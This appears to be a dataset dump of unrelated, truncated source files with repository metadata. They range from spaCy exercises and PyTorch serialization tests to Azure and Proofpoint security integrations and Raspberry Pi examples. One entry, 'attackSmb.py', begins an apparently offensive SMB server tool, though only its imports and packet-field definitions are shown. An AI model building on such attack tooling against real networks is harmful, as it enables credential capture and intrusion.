32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
361
2019-04-17T13:34:32.000Z
2022-03-28T04:42:45.000Z
import spacy from spacy.matcher import Matcher nlp = spacy.load("en_core_web_sm") matcher = Matcher(nlp.vocab) doc = nlp( "Features of the app include a beautiful design, smart search, automatic " "labels and optional voice responses." ) # Write a pattern for adjective plus one or two nouns pattern = [{"POS"...
29.913043
78
0.719477
0ade5e25ed39e643afbc30ff679508ad66756590
12,128
py
Python
src/Sephrasto/CharakterVorteileWrapper.py
qeqar/Sephrasto
ce46d46299b2c793f015e25c98908773c39b1dee
[ "MIT" ]
null
null
null
src/Sephrasto/CharakterVorteileWrapper.py
qeqar/Sephrasto
ce46d46299b2c793f015e25c98908773c39b1dee
[ "MIT" ]
null
null
null
src/Sephrasto/CharakterVorteileWrapper.py
qeqar/Sephrasto
ce46d46299b2c793f015e25c98908773c39b1dee
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Sat Mar 18 12:21:03 2017 @author: Aeolitus """ from Wolke import Wolke import UI.CharakterVorteile import CharakterMinderpaktWrapper from Charakter import VariableKosten from PyQt5 import QtWidgets, QtCore import logging from EventBus import EventBus class CharakterVorteileWrapp...
43.160142
146
0.598203
86b95fc5dd940301c709142961e232b43d9dfd44
2,447
py
Python
create_chrX_male_female_files.py
nikbaya/chrX
9d7859c60ecf35a5db13b973a7d2e44472a08ca6
[ "MIT" ]
null
null
null
create_chrX_male_female_files.py
nikbaya/chrX
9d7859c60ecf35a5db13b973a7d2e44472a08ca6
[ "MIT" ]
null
null
null
create_chrX_male_female_files.py
nikbaya/chrX
9d7859c60ecf35a5db13b973a7d2e44472a08ca6
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Thu Jul 26 10:58:58 2018 @author: nbaya """ import sys import pandas as pd import numpy as np ph = sys.argv[1] v3_path = "/Users/nbaya/Documents/lab/ukbb-sexdiff/imputed-v3-results/" chrX_path = "/Users/nbaya/Documents/lab/ukbb-sexdiff/chrX/data/" #M...
43.696429
118
0.647323
92c6f08bbfc62c34a6445d4f1a9302032a72e100
36,318
py
Python
test/test_serialization.py
vuanvin/pytorch
9267fd8d7395074001ad7cf2a8f28082dbff6b0b
[ "Intel" ]
183
2018-04-06T21:10:36.000Z
2022-03-30T15:05:24.000Z
test/test_serialization.py
vuanvin/pytorch
9267fd8d7395074001ad7cf2a8f28082dbff6b0b
[ "Intel" ]
818
2020-02-07T02:36:44.000Z
2022-03-31T23:49:44.000Z
test/test_serialization.py
vuanvin/pytorch
9267fd8d7395074001ad7cf2a8f28082dbff6b0b
[ "Intel" ]
58
2018-06-05T16:40:18.000Z
2022-03-16T15:37:29.000Z
# Owner(s): ["module: serialization"] import torch import unittest import io import tempfile import os import sys import zipfile import warnings import gzip import copy import pickle import shutil import pathlib from copy import deepcopy from itertools import product from torch._utils_internal import get_file_path_2 ...
39.519042
111
0.601933
b9799c47d3ab931202c3f6c47e3a1ccffbe6e099
50,278
py
Python
Packs/AzureSecurityCenter/Integrations/AzureSecurityCenter_v2/AzureSecurityCenter_v2.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/AzureSecurityCenter/Integrations/AzureSecurityCenter_v2/AzureSecurityCenter_v2.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/AzureSecurityCenter/Integrations/AzureSecurityCenter_v2/AzureSecurityCenter_v2.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import demistomock as demisto from CommonServerPython import * import ast # disable insecure warnings requests.packages.urllib3.disable_warnings() """ GLOBAL VARS """ APP_NAME = "ms-azure-sc" SUB_ID_REQUIRING_CMD = ( "azure-sc-get-alert", "azure-sc-list-alert", "azure-sc-update-alert", "azure-sc-list...
36.406951
183
0.589323
6a15361aaaf9dd142ef711c2b60c632cd59fb584
5,889
py
Python
src/onegov/feriennet/forms/userprofile.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/feriennet/forms/userprofile.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/feriennet/forms/userprofile.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
import string from onegov.feriennet import _ from onegov.feriennet.utils import encode_name, decode_name from onegov.form import Form from onegov.form.validators import Stdnum from wtforms import BooleanField, StringField, TextAreaField, RadioField from wtforms.fields.html5 import URLField from wtforms.validators impo...
27.263889
76
0.591442
e04cd35206abb9337facc030c5b794b2044f00ca
252
py
Python
challenge/sum_arrays.py
florianletsch/kinect-juggling
f320cc0b55adf65d338d25986a03106a7e3f46ef
[ "Unlicense", "MIT" ]
7
2015-11-27T09:53:32.000Z
2021-01-13T17:35:54.000Z
challenge/sum_arrays.py
florianletsch/kinect-juggling
f320cc0b55adf65d338d25986a03106a7e3f46ef
[ "Unlicense", "MIT" ]
null
null
null
challenge/sum_arrays.py
florianletsch/kinect-juggling
f320cc0b55adf65d338d25986a03106a7e3f46ef
[ "Unlicense", "MIT" ]
null
null
null
def py_sum_arrays(a, b): width = len(a[0]) height = len(a) c = [[0 for _inner in xrange(width)] for _outer in xrange(height)] for y in xrange(height): for x in xrange(width): c[y][x] = a[y][x] + b[y][x] return c
28
70
0.539683
bc49324347b807afc7982dffba1500072d3fc8c2
919
py
Python
src/onegov/town6/views/userprofile.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/town6/views/userprofile.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/town6/views/userprofile.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from onegov.core.security import Personal, Public from onegov.org.views.userprofile import handle_user_profile, \ handle_unsubscribe from onegov.town6.app import TownApp from onegov.org.forms import UserProfileForm from onegov.org.models import Organisation from onegov.town6.layout import DefaultLayout @TownApp....
31.689655
74
0.771491
bc63379ec48d8f4bff4b24a76aecef2de9248eac
4,225
py
Python
tests/onegov/gazette/test_views_principal.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/gazette/test_views_principal.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/gazette/test_views_principal.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from freezegun import freeze_time from tests.onegov.gazette.common import login_admin from tests.onegov.gazette.common import login_editor_1 from tests.onegov.gazette.common import login_publisher from pyquery import PyQuery as pq from webtest import TestApp as Client def test_view_principal(gazette_app): client ...
35.208333
69
0.571598
e6c3e570a9ae2e8ff5c60370e960b8c216e442c0
763
py
Python
Pythonskripte/checkSpeaker.py
NoahEmbedded/EmbeddedKWD
2380d56b0b75bae4fedeb60885358332766f7319
[ "MIT" ]
null
null
null
Pythonskripte/checkSpeaker.py
NoahEmbedded/EmbeddedKWD
2380d56b0b75bae4fedeb60885358332766f7319
[ "MIT" ]
null
null
null
Pythonskripte/checkSpeaker.py
NoahEmbedded/EmbeddedKWD
2380d56b0b75bae4fedeb60885358332766f7319
[ "MIT" ]
null
null
null
import os import sys #Sprecherliste Marvin sprecherMarvin=[] marvin=os.listdir('/home/noah/Schreibtisch/Bachelorarbeit/speechcommandCorpus/marvin') for i in marvin: i=i[:8] if i not in sprecherMarvin: sprecherMarvin.append(i) #Sprecherliste anderer name=str(sys.argv[1]) sprecherAnderer=[] anderer=os.lis...
33.173913
168
0.736566
fc6964fd3c46c172c371b0323c78d3b83b22cb63
1,160
py
Python
src/onegov/feriennet/views/occasion_attendees.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/feriennet/views/occasion_attendees.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/feriennet/views/occasion_attendees.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from onegov.core.security import Private from onegov.activity import OccasionNeed, Volunteer from onegov.feriennet import FeriennetApp, _ from onegov.feriennet.collections import OccasionAttendeeCollection from onegov.feriennet.layout import OccasionAttendeeLayout @FeriennetApp.html( model=OccasionAttendeeCollect...
37.419355
73
0.681897
f8de0e4dc3a028adcc7ee50bd99194d5894601cc
558
py
Python
RunFaster/concurrency/thread_sync.py
BALAVIGNESHDOSTRIX/pyexpert
300498f66a3a4f6b3060d51b3d6643d8e63cf746
[ "CC0-1.0" ]
null
null
null
RunFaster/concurrency/thread_sync.py
BALAVIGNESHDOSTRIX/pyexpert
300498f66a3a4f6b3060d51b3d6643d8e63cf746
[ "CC0-1.0" ]
null
null
null
RunFaster/concurrency/thread_sync.py
BALAVIGNESHDOSTRIX/pyexpert
300498f66a3a4f6b3060d51b3d6643d8e63cf746
[ "CC0-1.0" ]
null
null
null
from threading import Thread from time import sleep ls = [] def looper(i): for n in range(1,i+1): ls.append(n) sleep(0.01) def count(i): looper(i) def count2(i): looper(i) t1 = Thread(target=count, args=(5,)) t1.start() t2 = Thread(target=count, args=(5,)) t2....
15.081081
81
0.600358
53ca234c3fd58adf0926c49df584188f50f2a790
731
py
Python
Server/admin/food_kind.py
TateYdq/DietRegimen
66c88e84b7c4d9226db1d9567d300b1c6f7344b7
[ "MIT" ]
null
null
null
Server/admin/food_kind.py
TateYdq/DietRegimen
66c88e84b7c4d9226db1d9567d300b1c6f7344b7
[ "MIT" ]
null
null
null
Server/admin/food_kind.py
TateYdq/DietRegimen
66c88e84b7c4d9226db1d9567d300b1c6f7344b7
[ "MIT" ]
null
null
null
import requests import json from utils.config import * ss = requests.session() def addFoodKind(): data = json.dumps({ "token":"1wqe213", "kind_name":"水果", "kind_info":"水果很好吃", "view_count":3, }) url = URL.format(env=cur_url, term=admin_url, action="/addFoodKind") postReq(...
23.580645
75
0.601915
db7905b383f3707484316cf63a4aa2e33b28bd37
4,752
py
Python
SBTK_League_Helper/src/security/key_handling.py
juanchodepisa/sbtk
7cba7748e75a02b491e551d6c1be9bd7987c5051
[ "MIT" ]
null
null
null
SBTK_League_Helper/src/security/key_handling.py
juanchodepisa/sbtk
7cba7748e75a02b491e551d6c1be9bd7987c5051
[ "MIT" ]
null
null
null
SBTK_League_Helper/src/security/key_handling.py
juanchodepisa/sbtk
7cba7748e75a02b491e551d6c1be9bd7987c5051
[ "MIT" ]
null
null
null
from urllib.parse import quote import json import os from src import log_entry from .obfuscation import transform from .exceptions import KeysDirectoryNotFound, KeysFileNotFound user_index = os.path.join(os.path.dirname(__file__), "keys_loc.json") default_context = "OGS" obfuscated = "_obfuscated_" plaintext = "_pla...
33.464789
134
0.578072
9170c2be36361c2f8ad43eb6797184745dae6611
1,432
py
Python
loesungen/chapter03/statistics.py
SaschaKersken/Daten-Prozessanalyse
370f07a75b9465329deb3671adbfbef8483f76f6
[ "Apache-2.0" ]
2
2021-09-20T06:16:41.000Z
2022-01-17T14:24:43.000Z
loesungen/chapter03/statistics.py
SaschaKersken/Daten-Prozessanalyse
370f07a75b9465329deb3671adbfbef8483f76f6
[ "Apache-2.0" ]
null
null
null
loesungen/chapter03/statistics.py
SaschaKersken/Daten-Prozessanalyse
370f07a75b9465329deb3671adbfbef8483f76f6
[ "Apache-2.0" ]
null
null
null
# Minimum def min(numbers): return sorted(numbers)[0] # Maximum def max(numbers): return sorted(numbers)[-1] # Arithmetisches Mittel def mean_arith(numbers): return sum(numbers) / len(numbers) # Geometrisches Mittel def mean_geom(numbers): product = 1 for i in numbers: product *= i re...
24.689655
74
0.62081
918d34aa445eafb1aaec79a09feeaab519af72d7
10,320
py
Python
fhirclient/r4models/researchdefinition.py
Healthedata1/Flask-PL
88a2f40ca430c4cbb9fbded7fc92fdc166ebb9f1
[ "MIT" ]
null
null
null
fhirclient/r4models/researchdefinition.py
Healthedata1/Flask-PL
88a2f40ca430c4cbb9fbded7fc92fdc166ebb9f1
[ "MIT" ]
null
null
null
fhirclient/r4models/researchdefinition.py
Healthedata1/Flask-PL
88a2f40ca430c4cbb9fbded7fc92fdc166ebb9f1
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Generated from FHIR 4.0.0-a53ec6ee1b (http://hl7.org/fhir/StructureDefinition/ResearchDefinition) on 2019-05-07. # 2019, SMART Health IT. from . import domainresource class ResearchDefinition(domainresource.DomainResource): """ A research context or q...
41.28
124
0.586725
91eb352c7a19ea32438b56d67d8a8c1022435e07
644
py
Python
Curso_Python/Secao4-Python-introducao-a-programacao-orientada-a-objetos-POO/113_desafio-POO/main.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
Curso_Python/Secao4-Python-introducao-a-programacao-orientada-a-objetos-POO/113_desafio-POO/main.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
Curso_Python/Secao4-Python-introducao-a-programacao-orientada-a-objetos-POO/113_desafio-POO/main.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
from contas.corrente import Corrente from contas.poupanca import Poupanca p1 = Corrente('Pedro', 23, 500, 1234) p1.depositar(100) p1.sacar(200) p1.detalhes() print() p2 = Corrente('Maria', 23, 1000, 1234) p2.depositar(500) p2.sacar(1200) p2.detalhes() print() p3 = Corrente('Antonio', 23, 10, 1234) p3.depositar(0)...
13.702128
40
0.692547
725504219d7e17cdf8dd58fbc46de14b3e2f80eb
4,652
py
Python
pyventskalender/tag24.py
kopp/pyventskalender
6f6455f3c1db07f65a772b2716e4be95fbcd1804
[ "MIT" ]
null
null
null
pyventskalender/tag24.py
kopp/pyventskalender
6f6455f3c1db07f65a772b2716e4be95fbcd1804
[ "MIT" ]
null
null
null
pyventskalender/tag24.py
kopp/pyventskalender
6f6455f3c1db07f65a772b2716e4be95fbcd1804
[ "MIT" ]
null
null
null
# Weiter geht es mit dem Spiel... # # Setzt Datei pyventskalender/finde_schnellsten_weg.py voraus. # %% # Gestern hatten wir ungefähr so aufgehört: import arcade from random import randint class FindeDenSchnellstenWeg(arcade.Window): """ In dieser Klasse implementieren wir das Spiel. """ def __init_...
36.920635
98
0.677988
727bb49e89cd5c0c26cefc0b60c26a6304082eb5
35,185
py
Python
Packs/ProofpointTAP/Integrations/ProofpointTAP_v2/ProofpointTAP_v2_test.py
cstone112/content
7f039931b8cfc20e89df52d895440b7321149a0d
[ "MIT" ]
2
2021-12-06T21:38:24.000Z
2022-01-13T08:23:36.000Z
Packs/ProofpointTAP/Integrations/ProofpointTAP_v2/ProofpointTAP_v2_test.py
cstone112/content
7f039931b8cfc20e89df52d895440b7321149a0d
[ "MIT" ]
87
2022-02-23T12:10:53.000Z
2022-03-31T11:29:05.000Z
Packs/ProofpointTAP/Integrations/ProofpointTAP_v2/ProofpointTAP_v2_test.py
cstone112/content
7f039931b8cfc20e89df52d895440b7321149a0d
[ "MIT" ]
2
2022-01-05T15:27:01.000Z
2022-02-01T19:27:43.000Z
import json import pytest from datetime import datetime from ProofpointTAP_v2 import fetch_incidents, Client, ALL_EVENTS, ISSUES_EVENTS, get_events_command MOCK_URL = "http://123-fake-api.com" MOCK_DELIVERED_MESSAGE = { "GUID": "1111", "QID": "r2FNwRHF004109", "ccAddresses": [ "bruce.wayne@universi...
32.368905
126
0.544692
72aaa604e427e51abb3e776e3c718e883688faf0
214
py
Python
template.py
Coding-for-the-Arts/drawbot-samples-solutions
7191610d6efd7d788056070e7826d255b7ef496b
[ "CC0-1.0" ]
null
null
null
template.py
Coding-for-the-Arts/drawbot-samples-solutions
7191610d6efd7d788056070e7826d255b7ef496b
[ "CC0-1.0" ]
null
null
null
template.py
Coding-for-the-Arts/drawbot-samples-solutions
7191610d6efd7d788056070e7826d255b7ef496b
[ "CC0-1.0" ]
null
null
null
""" Titel In kurzen Worten: Was dieses Script macht. """ # Das Script # Das Script # Das Script """ Fragen: - was tut x? - was passiert wenn? Challenge: - Kannst du … ? - Wie könntest du … ? """
11.263158
42
0.579439
f48f14f05be37314371f8cbfdbb662f8ccdd9ead
631
py
Python
examples/ball_switch.py
Elecrow-RD/Raspberry-Pi-Starter-Kit
9adad7bfb403a697119bf80bbc2290bc3832750d
[ "MIT" ]
1
2020-08-11T23:39:23.000Z
2020-08-11T23:39:23.000Z
examples/ball_switch.py
Elecrow-RD/Raspberry-Pi-Starter-Kit
9adad7bfb403a697119bf80bbc2290bc3832750d
[ "MIT" ]
null
null
null
examples/ball_switch.py
Elecrow-RD/Raspberry-Pi-Starter-Kit
9adad7bfb403a697119bf80bbc2290bc3832750d
[ "MIT" ]
1
2020-08-05T18:30:45.000Z
2020-08-05T18:30:45.000Z
#!/usr/bin/python # -*- coding: utf-8 -*- # http://elecrow.com/ import RPi.GPIO as GPIO import time # configure button pin ball_switch_pin = 17 # set board mode to GPIO.BCM GPIO.setmode(GPIO.BCM) # setup ball pin input GPIO.setup(ball_switch_pin, GPIO.IN) try: while True: # check ball state if(...
21.758621
69
0.630745
fe562d8cc1fce7c378249ce3011a27d23eb2b425
2,602
py
Python
radiomics/clinical.py
RimeT/p3_radio
3d522a4356c62255cd93c6d74eb388a2e474dd00
[ "Apache-2.0" ]
null
null
null
radiomics/clinical.py
RimeT/p3_radio
3d522a4356c62255cd93c6d74eb388a2e474dd00
[ "Apache-2.0" ]
null
null
null
radiomics/clinical.py
RimeT/p3_radio
3d522a4356c62255cd93c6d74eb388a2e474dd00
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python2 import argparse import pandas as pd import json from scholar.schema import schema from scholar.schema import radiomics as projects from scholar.radiomics.data import new_feature, reset_target_feature, load_feature_data if __name__ == '__main__': parser = argparse.ArgumentParser(descriptio...
32.525
88
0.579939
2283d9394754d8ac7cc99ed91c68f2a6c8b1022a
6,252
py
Python
research/cv/centernet_resnet50_v1/src/decode.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/cv/centernet_resnet50_v1/src/decode.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/cv/centernet_resnet50_v1/src/decode.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
36.994083
110
0.599648
22b0ed679c506d07d2a5bedec5e5da122b85a2c4
8,399
py
Python
Utils/py/naoth/naoth/test_m3d.py
tarsoly/NaoTH
dcd2b67ef6bf9953c81d3e1b26e543b5922b7d52
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
Utils/py/naoth/naoth/test_m3d.py
tarsoly/NaoTH
dcd2b67ef6bf9953c81d3e1b26e543b5922b7d52
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
Utils/py/naoth/naoth/test_m3d.py
tarsoly/NaoTH
dcd2b67ef6bf9953c81d3e1b26e543b5922b7d52
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
import unittest import math import math3d as m3d class TestMath3d(unittest.TestCase): def test_add(self): a = m3d.Vector3(100, 100, 100) b = m3d.Vector3(1000, 100, 10) c = m3d.Vector3(-100, -100, -100) d = m3d.Vector3(-5000, 5.3) e = m3d.Vector3(0.245, -32.28) f = ...
32.428571
95
0.588642
4a420db77756bb96c75809a1cf3d668187cc85be
5,786
py
Python
haas_lib_bundles/python/docs/examples/haas_radio/haaseduk1/code/main.py
wstong999/AliOS-Things
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
[ "Apache-2.0" ]
null
null
null
haas_lib_bundles/python/docs/examples/haas_radio/haaseduk1/code/main.py
wstong999/AliOS-Things
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
[ "Apache-2.0" ]
null
null
null
haas_lib_bundles/python/docs/examples/haas_radio/haaseduk1/code/main.py
wstong999/AliOS-Things
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
[ "Apache-2.0" ]
null
null
null
import utime import sh1106 from driver import SPI from driver import GPIO from tea5767 import Radio import framebuf from driver import I2C from haaseduk1 import HAASEDUK1 from aliyunIoT import Device # iot组件是连接阿里云物联网平台的组件 import ujson # json字串解析库 board = HAASEDUK1() # 新建HAASEDUK1对象 ...
23.236948
109
0.614414
43bb9d95f9fc9413c47e1818e259240e84e122e9
3,679
py
Python
.github/scripts/service-validator/config-schema.py
Splines/compose-generator
f2929ed373f19ad66506a29e191463d1500f709b
[ "Apache-2.0" ]
null
null
null
.github/scripts/service-validator/config-schema.py
Splines/compose-generator
f2929ed373f19ad66506a29e191463d1500f709b
[ "Apache-2.0" ]
null
null
null
.github/scripts/service-validator/config-schema.py
Splines/compose-generator
f2929ed373f19ad66506a29e191463d1500f709b
[ "Apache-2.0" ]
null
null
null
{ 'label': { 'type': 'string', 'required': True }, 'preselected': { 'type': 'string', 'required': True }, 'proxied': { 'type': 'boolean' }, 'demoAppInitCmd': { 'type': 'list' }, 'serviceInitCmd': { 'type': 'list' }, 'fil...
25.19863
67
0.248165
6009c27fedbbf2509370f662fbe7bf4dd6c8aba4
5,866
py
Python
testbed1/hmi_c.py
Benny93/HMI-Protocol
5f98873129acebed1b2b3cf4376c2733907ead70
[ "MIT" ]
null
null
null
testbed1/hmi_c.py
Benny93/HMI-Protocol
5f98873129acebed1b2b3cf4376c2733907ead70
[ "MIT" ]
null
null
null
testbed1/hmi_c.py
Benny93/HMI-Protocol
5f98873129acebed1b2b3cf4376c2733907ead70
[ "MIT" ]
1
2019-10-20T20:35:23.000Z
2019-10-20T20:35:23.000Z
#!/usr/bin/python3 import time import can import constants as const from random import uniform """ hmi controller prototype that acts like a server """ # TODO: Mapping is send by the requesting app-controller response_id_by_sender_id = {const.NAV_HMI_REQ: const.NAV_HMI_RESP, const.AC_HMI_R...
32.955056
119
0.654961
880bf73a6cfdc93051575f2bfb6085f856b3ffdd
1,739
py
Python
tools/fidl/scripts/find_nullable_union_fields.py
opensource-assist/fuschia
66646c55b3d0b36aae90a4b6706b87f1a6261935
[ "BSD-3-Clause" ]
14
2020-10-25T05:48:36.000Z
2021-09-20T02:46:20.000Z
tools/fidl/scripts/find_nullable_union_fields.py
JokeZhang/fuchsia
d6e9dea8dca7a1c8fa89d03e131367e284b30d23
[ "BSD-3-Clause" ]
1
2022-01-14T23:38:40.000Z
2022-01-14T23:38:40.000Z
tools/fidl/scripts/find_nullable_union_fields.py
JokeZhang/fuchsia
d6e9dea8dca7a1c8fa89d03e131367e284b30d23
[ "BSD-3-Clause" ]
4
2020-12-28T17:04:45.000Z
2022-03-12T03:20:44.000Z
#!/usr/bin/env python3 from pathlib import Path import os import sys def main(): for path in Path(os.environ["FUCHSIA_DIR"]).rglob("*.fidl"): if not path.is_file(): continue with open(path) as file: try: check_file(file) except UnicodeDecodeErro...
25.955224
73
0.53709
71ce1e585b0be6e9bea5757792f718bd84d93788
2,320
py
Python
tests/test_numpy_controls.py
guruvamsi-policharla/noisy-krotov
c5397d9dbde68d06f17e88620d6a6b2c74664841
[ "BSD-3-Clause" ]
49
2018-11-07T06:43:33.000Z
2022-03-18T20:53:06.000Z
tests/test_numpy_controls.py
guruvamsi-policharla/noisy-krotov
c5397d9dbde68d06f17e88620d6a6b2c74664841
[ "BSD-3-Clause" ]
94
2018-11-06T20:15:04.000Z
2022-01-06T09:06:15.000Z
tests/test_numpy_controls.py
qucontrol/krotov
9f9a22336c433dc3a37637ce8cc8324df4290b46
[ "BSD-3-Clause" ]
20
2018-11-06T20:03:11.000Z
2022-03-12T05:29:21.000Z
"""Test using numpy controls.""" import numpy as np import pytest import qutip import krotov @pytest.fixture def numpy_control_system(): """Optimization system for State-to-State Transfer This is the same as in 01_example_simple_state_to_state.ipynb, but using a numpy array as the control. """ t...
29.367089
78
0.625862
4609ccc40c4301b74b6c9eefbc2f11cbbbf20413
326
py
Python
LINE/2021/web/babyweb/public/src/config.py
mystickev/ctf-archives
89e99a5cd5fb6b2923cad3fe1948d3ff78649b4e
[ "MIT" ]
1
2021-11-02T20:53:58.000Z
2021-11-02T20:53:58.000Z
LINE/2021/web/babyweb/public/src/config.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
null
null
null
LINE/2021/web/babyweb/public/src/config.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
1
2021-12-19T11:06:24.000Z
2021-12-19T11:06:24.000Z
from os import getenv cfg = { "HEADER": { "USERNAME": getenv("USERNAME_HEADER"), "PASSWORD": getenv("PASSWORD_HEADER") }, "ADMIN": { "USERNAME": getenv("USERNAME_ADMIN"), "PASSWORD": getenv("PASSWORD_ADMIN") }, "INTERNAL": { "HOST": getenv("INTERNAL_HOST") ...
20.375
46
0.542945
1ceb5af11a1db11da6c35d6ff64848fd28962d63
31,855
py
Python
attackSmb.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-17T03:35:03.000Z
2021-12-08T06:00:31.000Z
attackSmb.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
null
null
null
attackSmb.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-05T18:07:48.000Z
2022-02-24T21:25:07.000Z
# -*- coding: utf-8 -*- # @Author: lock # @Date: 2017-02-04 20:04:04 # @Last Modified by: lock # @Last Modified time: 2017-02-04 20:04:25 import sys, struct, SocketServer from odict import OrderedDict from datetime import datetime from calendar import timegm class Packet(): fields = OrderedDict([ ("da...
74.254079
1,951
0.640025
98fefd26c14c6ffdafd83d6bcfb92fdd137b6bba
5,103
py
Python
src/visitpy/examples/movie.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
226
2018-12-29T01:13:49.000Z
2022-03-30T19:16:31.000Z
src/visitpy/examples/movie.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
5,100
2019-01-14T18:19:25.000Z
2022-03-31T23:08:36.000Z
src/visitpy/examples/movie.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
84
2019-01-24T17:41:50.000Z
2022-03-10T10:01:46.000Z
# ***************************************************************************** # Script: movie.py # # Purpose: # Creates a dummy movie. The purpose of this script is to demonstrate # some of the scripting capabilities of VisIt. # # Programmer: Hank Childs # Creation: April 24, 2003 # # Modifications: # Ha...
29.842105
87
0.693514
c7a5cba146bb0a472dff35b97950f9e346fd9e45
2,711
py
Python
tead/action.py
JeFaProductions/TextAdventure2
4ae690a1e41f30a564a77015f76346d55466c325
[ "MIT" ]
2
2016-08-28T21:32:39.000Z
2016-09-02T05:56:53.000Z
tead/action.py
JeFaProductions/TextAdventure2
4ae690a1e41f30a564a77015f76346d55466c325
[ "MIT" ]
7
2016-09-01T22:03:13.000Z
2019-06-13T21:38:05.000Z
tead/action.py
JeFaProductions/TextAdventure2
4ae690a1e41f30a564a77015f76346d55466c325
[ "MIT" ]
null
null
null
class ActionBuilder: def __init__(self, world, gui): self._gui = gui self._world = world self._actions = { 'createItem' : self._createItem, 'destroyItem' : self._destroyItem, 'openDoor' : self._openDoor, 'closeDoor' : self._closeDoor, ...
28.239583
91
0.586131
905ea6a5d920e83c5b3ecc60124d3055ac987342
2,677
py
Python
frappe-bench/apps/erpnext/erpnext/support/report/support_hour_distribution/support_hour_distribution.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/support/report/support_hour_distribution/support_hour_distribution.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/support/report/support_hour_distribution/support_hour_distribution.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
